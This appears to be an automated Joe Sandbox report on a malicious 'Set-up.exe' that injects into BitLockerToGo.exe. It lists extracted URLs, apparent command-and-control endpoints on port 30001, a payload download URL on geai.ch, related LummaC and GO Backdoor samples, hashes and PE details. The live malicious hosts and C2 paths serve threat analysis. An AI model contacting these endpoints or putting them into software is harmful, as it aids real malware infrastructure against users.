http://91.212.166.9:30001/api/helper-first-register	BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000003.00000003.1968939304.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://geai.ch/	BitLockerToGo.exe, 00000003.00000003.2243154545.0000000002FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mooncobudy.click/apiDl	BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://38.180.205.164:30001/api/helper-first-register	BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mooncobudy.click/Drk	BitLockerToGo.exe, 00000003.00000003.2013582931.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2001315362.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013722752.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1999810921.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2015510808.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2001283194.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014153185.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000698739.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014611842.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000859816.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014217136.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017458425.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013549840.00000000055BD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://46.8.232.106:30001/api/helper-first-register?	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://188.130.206.243:30001/api/helper-first-register	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://geai.ch/FileSeek.exeP4	BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mooncobudy.click:443/apiY5TQSm0KLp5oaijuMolkkI5MNATw3Vlk1e/zKbYeQbWoZVIc3f7q/23znR4fapSJ/Bjw	BitLockerToGo.exe, 00000003.00000003.2001315362.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1999810921.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2001283194.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000698739.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000859816.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.232.106:30001	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC5E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://geai.ch/FileSeek.exeI	BitLockerToGo.exe, 00000003.00000002.2414379992.0000000002E7B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://geai.ch/FileSeek.exeBm	BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000003.00000003.1987493885.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987738817.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987587471.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968727568.0000000005653000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968939304.0000000005607000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://46.8.232.106:30001if61sdD6REQUEST_METHOD	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC5E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mooncobudy.click/	BitLockerToGo.exe, 00000003.00000003.2059836048.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014153185.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014611842.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2027966872.0000000003001000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014217136.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017458425.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013549840.00000000055BD000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://mooncobudy.click/s	BitLockerToGo.exe, 00000003.00000003.2059888073.0000000003001000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	BitLockerToGo.exe, 00000003.00000003.1968727568.0000000005655000.00000004.00000800.00020000.00000000.sdmp	false		high
http://46.8.232.106:30001/api/helper-first-register	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC06000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mooncobudy.click/Y	BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000003.00000003.1968939304.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://46.8.232.106:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV	BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.232.106	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
195.200.31.22	unknown	United Kingdom	8897	KCOM-SPNService-ProviderNetworkex-MistralGB	true
188.114.97.3	mooncobudy.click	European Union	13335	CLOUDFLARENETUS	true
84.32.84.20	geai.ch	Lithuania	33922	NTT-LT-ASLT	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582560
Start date and time:	2024-12-30 21:41:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/1@2/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 90% Number of executed functions: 24 Number of non-executed functions: 96
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BitLockerToGo.exe, PID 5040 because there are no executed function
Execution Graph export aborted for target Set-up.exe, PID 5800 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Set-up.exe

Simulations

Behavior and APIs

Time	Type	Description
15:42:26	API Interceptor	9x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.232.106	reduce.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	InsertSr.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	iKhdG3bwZK.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106:30001/api/helper-first-register?buildVersion=0Z5V.TE82Oth&md5=044037796cf2d13eadf0217833d52e65&proxyPassword=2kXPzHVW&proxyUsername=6R0WzU7T&userId=IzhXMyKsSA8bmnLPaD5erUdWtcou
	Week11.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	Week11.exe.bin.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	m0Yc9KltGw.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	sV9ElC4fU4.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
188.114.97.3	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mooncobudy.click	Setup_W.exe	Get hash	malicious	LummaC	Browse	104.21.44.57

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.177.88
	X-mas_2.3.2.exe	Get hash	malicious	LummaC	Browse	172.67.190.223
	ReploidReplic.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	https://compliance-central.com/route/ed5305641af2fd214861ba268e4a42aa2938b075/	Get hash	malicious	Unknown	Browse	1.1.1.1
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.154.95
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.64.143
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	46.8.225.74
	newwork.exe.1.exe	Get hash	malicious	Socks5Systemz	Browse	46.8.225.74
	steel.exe.3.exe	Get hash	malicious	Socks5Systemz	Browse	46.8.225.74
	AbC0LBkVhr.exe	Get hash	malicious	Socks5Systemz	Browse	46.8.225.74
	KRdh0OaXqH.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	46.8.225.74
	AGcC2uK0El.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	46.8.225.74
	6hvZpn91O8.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	46.8.225.74
	j9htknb7BQ.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	46.8.225.74
	b3astmode.arm5.elf	Get hash	malicious	Mirai	Browse	109.248.108.147
	reduce.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
KCOM-SPNService-ProviderNetworkex-MistralGB	xd.x86.elf	Get hash	malicious	Mirai	Browse	194.164.201.126
	0Ty.png.exe	Get hash	malicious	Xmrig	Browse	194.164.234.171
	https://a41c415c7bccad129d61b50d2032009e.aktive-senioren.biz/de/st/1?#bqcnl4tocgzq65tck3bv	Get hash	malicious	Unknown	Browse	194.164.200.113
	ub8ehJSePAfc9FYqZIT6.arm.elf	Get hash	malicious	Mirai	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.sh4.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.ppc.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.m68k.elf	Get hash	malicious	Mirai	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.arm7.elf	Get hash	malicious	Mirai	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.mips.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
	ub8ehJSePAfc9FYqZIT6.arm6.elf	Get hash	malicious	Unknown	Browse	195.26.252.19
NTT-LT-ASLT	http://tax-com.com	Get hash	malicious	Unknown	Browse	84.32.84.155
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	84.32.84.121
	ER4HMMzeQ3.ps1	Get hash	malicious	Unknown	Browse	84.32.84.229
	truepepe-qt.exe	Get hash	malicious	Quasar	Browse	84.32.84.101
	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	profroma invoice.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	ORDER - 401.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	Payment Copy #190922-001.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	SHIPPING DOCUMENTS_PDF.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	ACQUISITION OF A CONSERVATIVE REFRIGERATOR.exe	Get hash	malicious	FormBook	Browse	84.32.84.32

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	X-mas_2.3.2.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	ReploidReplic.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	Launcher.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	hoEtvOOrYH.exe	Get hash	malicious	SmokeLoader	Browse	188.114.97.3 84.32.84.20
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20
	setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 84.32.84.20

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\config

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	data
Category:	dropped
Size (bytes):	1260
Entropy (8bit):	6.358210664864774
Encrypted:	false
SSDEEP:	24:V24HIocD4BoSs1ZnoojReaf/KCpHsUY2p2atULvPxbvahlObg+R+BnrXsi:VzHIocMBoSs1ZnoojRN/KC5WKlULMhkW
MD5:	B8B393B8B739EFE49CC2A45ACD6F0500
SHA1:	FFD5758808BAE74E02C77F05CA36E73C5A786178
SHA-256:	AD009A1B438C819B3C7F38567E1842CB4B52162FBD46390E050B5AE695EC79DD
SHA-512:	7504AE7EB829428F53F477C1DBA5942A7CA8AED27C1592A5B9EBA98E0358D046E1C9E6686159859E784B74A99F170639E9448016AB6B74CF00897892E569E710
Malicious:	false
Reputation:	low
Preview:	...?.Q...!...9..S&2.AP."L%].]^..X.-!M>(1Q.6)@.+-QW<.Z^).\$P6M".#XTP?^!%.U\=<S..5]%;.S7"2YV.\^+.2R87.F=...P0....%._.!A....-.+..UY.-.5...R.T!...."N....43....T.YYQ.....0[WN(,T..P>.S ..]]...;;.5.....6.0...$ SO^Y<.?.6./.%.#.../.(T2]6L.#.FR?Z.._U...G!.V!9.M.;([2:']^#5U."G_4.X..^R...S-S=].."S...YV1Z^ 9#R;&-F=&&...U..<..-).A..1..7 .R....'..Y ........5N.. .1.)..Q..>^.....%..N..V.6...>.4..=_...W.> ...;...R:.!.UO>...UP...P).["...6.T'..L.X3FSW.W/..R<..G..W\../R>..[.P.@.(.R.=._=7.X!>-M])/P?$._0!.Y9.$ZS.'^Q..S.\6Y .._1Z.L+,.."4,..]1.[..FS.^.!...)..."...^ ...?.R..C%. ..:!.5(.../,.=>-.,#C..4.#_#._R.. .....V.,-..5"1.\_..^3\B4?T.."..>1V.#.,...<S?. A.."L\.1Z..7V.Y6M../X..'VR..S.-.GP..\..0S...\#95@.^(R..S_ Z]Z?.3Y.>0Z.$5^'(>S+!Y/.+_...L7#!.7WW.....<9.F6-..<.?.=...Q...2.?........CW.(.....&....^.9.-.Q..C#].......$V.)?7.X7..4R..R+...%..?28BU....=...V..)#5.&+.S3.]AT.+L...P?.._^?.M..P[.:$_.#0Q.[2G0',_.;.U.9"__..@Q._Z.!PS.$.]...S.$,Y..;^..+R6-^FP. ..Y-......,.A./P..V5...[.7.&.;.V..4...[,N]?..Q/+..%..-..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.356341580646425
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Set-up.exe
File size:	3'815'936 bytes
MD5:	d6ab8da3bd0065c5f9ef7e4c1524c853
SHA1:	a7e0f197fcbba885ef9cf61bf0694be269b50ac5
SHA256:	3ed1b57fd5efa3d95f88a8e06e06337253f4427aac41accc2f2fe334ea7fdcc9
SHA512:	276ee2f259a6fd2860cf3f5a3cba3d0fad7bcc05331b1f0ed7a1640053711d691ad8fe53c43faf4abb0e2824284b20e9b753350dd16170fcb884374ea3aa858f
SSDEEP:	49152:ucWc+BmELGlkA0EhnZLLEXSHIv2IVADlZMy6M3amhITeL2Jx6RkIKyI8IDwJcTrh:ucW6KAder8ZzfB
TLSH:	14063941FADB80F1DA0318302497A2BF57306E095B34DB97FA1C7E5AEB736A20D36519
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........9..............J..........`.........7...@..........................`=......m:...@................................

File Icon


Icon Hash:	0f30b2f17169370f

Static PE Info

General

Entrypoint:	0x45de60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	9cbefe68f395e67356e2a5d8d1b285c0

Entrypoint Preview

Instruction
jmp 00007F9754B507E0h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov esi, eax
mov edx, dword ptr fs:[00000014h]
cmp edx, 00000000h
jne 00007F9754B52AE9h
mov eax, 00000000h
jmp 00007F9754B52B46h
mov edx, dword ptr [edx+00000000h]
cmp edx, 00000000h
jne 00007F9754B52AE7h
call 00007F9754B52BD9h
mov dword ptr [esp+20h], edx
mov dword ptr [esp+24h], esp
mov ebx, dword ptr [edx+18h]
mov ebx, dword ptr [ebx]
cmp edx, ebx
je 00007F9754B52AFAh
mov ebp, dword ptr fs:[00000014h]
mov dword ptr [ebp+00000000h], ebx
mov edi, dword ptr [ebx+1Ch]
sub edi, 28h
mov dword ptr [edi+24h], esp
mov esp, edi
mov ebx, dword ptr [ecx]
mov ecx, dword ptr [ecx+04h]
mov dword ptr [esp], ebx
mov dword ptr [esp+04h], ecx
mov dword ptr [esp+08h], edx
call esi
mov eax, dword ptr [esp+0Ch]
mov esp, dword ptr [esp+24h]
mov edx, dword ptr [esp+20h]
mov ebp, dword ptr fs:[00000014h]
mov dword ptr [ebp+00000000h], edx
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
